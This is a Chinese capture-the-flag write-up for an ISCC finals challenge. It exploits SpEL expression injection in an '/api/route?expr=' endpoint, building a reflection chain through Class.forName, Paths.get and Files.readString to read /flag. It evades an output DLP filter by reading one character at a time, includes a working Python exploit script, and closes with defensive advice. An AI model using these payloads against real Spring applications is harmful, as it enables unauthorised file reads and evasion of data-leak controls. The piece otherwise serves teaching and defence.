ISCC 决赛编码迷宫:SpEL 反射链读取文件

一、题目背景

题目首页是一个 route debugger,输入表达式后会请求:

1
/api/route?expr=

测试 1+2、字符串属性、集合表达式后,可以确认后端会对 expr 参数进行 Spring Expression Language,也就是 SpEL 表达式求值。

二、信息收集

访问:

1
/actuator/info

可以得到提示:

1
2
3
4
{
"helpers": "fs, req",
"note": "Evaluation context supports #fs for file operations. Use 'expr' parameter in the route API to 'read' the file."
}

说明表达式上下文中存在文件操作 helper,目标大概率是读取 flag 文件。

三、直接读取受限

直接尝试:

1
#fs.read('flag.txt')

会被关键字过滤、proof 校验或 LFI 限制拦截。

同时,常见的直接类型引用也不可用:

1
T(java.lang.Runtime)

因此需要绕过明显的文件读取路径,利用已有对象的 class 属性进入 Java 反射链。

四、反射链构造

SpEL 中可以通过字符串对象拿到 Class:

1
''.class

继续拿到 Class 的类:

1
''.class.class

通过 methods 数组找到 Class.forName(String)

1
''.class.class.methods[2]

将其保存为变量:

1
#cf=''.class.class.methods[2]

然后加载 java.nio.file.Paths,获取 Paths.get(String)

1
#pm=#cf('java.nio.file.Paths').methods[0]

再加载 java.nio.file.Files,获取 Files.readString(Path)

1
#m=#cf('java.nio.file.Files').declaredMethods[61]

组合读取文件:

1
2
3
4
5
6
7
{
#cf=''.class.class.methods[2],
#pm=#cf('java.nio.file.Paths').methods[0],
#path=#pm('/flag'),
#m=#cf('java.nio.file.Files').declaredMethods[61],
#m(#path)
}[4]

{...}[4] 的作用是让表达式返回最后一步读取文件的结果。

五、DLP 输出绕过

直接输出完整 flag 时,会触发敏感内容检测:

1
[DLP System] Warning: Sensitive flag format detected in output stream. Blocked!

因此不能一次性返回完整 ISCC{...}

解决方法是先读取长度,再逐字符读取,单个字符不会匹配完整 flag 格式。

读取长度:

1
{读取文件表达式}.bytes.length

逐字符读取:

1
2
3
{读取文件表达式}[0]
{读取文件表达式}[1]
{读取文件表达式}[2]

最后在本地拼接即可。

六、自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import sys
import requests

DEFAULT_TARGET = "http://target"

FOR_NAME = "''.class.class.methods[2]"
PATHS_GET = "#cf('java.nio.file.Paths').methods[0]"
FILES_READ_STRING = "#cf('java.nio.file.Files').declaredMethods[61]"


def api_base():
target = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else DEFAULT_TARGET
return f"{target}/api/route"


def eval_expr(base, expr):
resp = requests.get(base, params={"expr": expr}, timeout=20)
resp.raise_for_status()
return resp.text


def flag_expr():
return (
"{"
f"#cf={FOR_NAME},"
f"#pm={PATHS_GET},"
"#path=#pm('/flag'),"
f"#m={FILES_READ_STRING},"
"#m(#path)"
"}[4]"
)


def main():
base = api_base()
expr = flag_expr()

length = int(eval_expr(base, expr + ".bytes.length").strip())
chars = []

for index in range(length):
ch = eval_expr(base, f"{expr}[{index}]")
if ch == "\n":
break
chars.append(ch)

print("".join(chars))


if __name__ == "__main__":
main()

运行:

1
python solve.py http://target

七、漏洞总结

这道题的核心点:

  • expr 参数进入 SpEL 求值。
  • 直接 helper 被过滤,不能直接用 #fs.read()
  • 通过 ''.class.class.methods 进入 Java 反射。
  • 使用 Paths.get()Files.readString() 读取文件。
  • 输出层存在 DLP,需要逐字符读取绕过。

八、防护建议

  • 不要对用户输入执行 SpEL 表达式。
  • 如果业务必须使用表达式,应使用受限上下文。
  • 禁止访问 classClass.forName、反射相关对象。
  • 禁止表达式调用任意方法。
  • 对 Actuator 信息做访问控制。
  • 敏感文件不应放在应用可读路径。

九、复盘

这题很典型:过滤掉显眼的危险函数并不代表安全。只要表达式上下文还能访问对象元信息,就可能通过反射绕回到标准库能力。

真正的防护重点不是黑名单,而是限制表达式能力边界。